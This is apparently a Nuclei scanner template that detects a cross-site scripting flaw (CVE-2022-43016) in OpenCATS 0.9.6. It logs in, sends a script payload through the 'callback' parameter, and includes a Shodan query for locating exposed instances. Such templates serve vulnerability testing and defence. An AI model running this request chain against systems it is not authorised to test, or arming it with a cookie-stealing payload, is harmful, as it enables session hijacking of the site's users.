id: CVE-2022-43016

info:
  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43016
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43016
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"OpenCATS"
    verified: "true"
  tags: cve,cve2022,xss,opencats,authenticated

requests:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        GET /index.php?m=toolbar&callback=<script>alert(document.domain)</script>&a=authenticate HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'EVAL=<script>alert(document.domain)</script>'
          - 'cats_connected'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

# Enhanced by md on 2022/12/13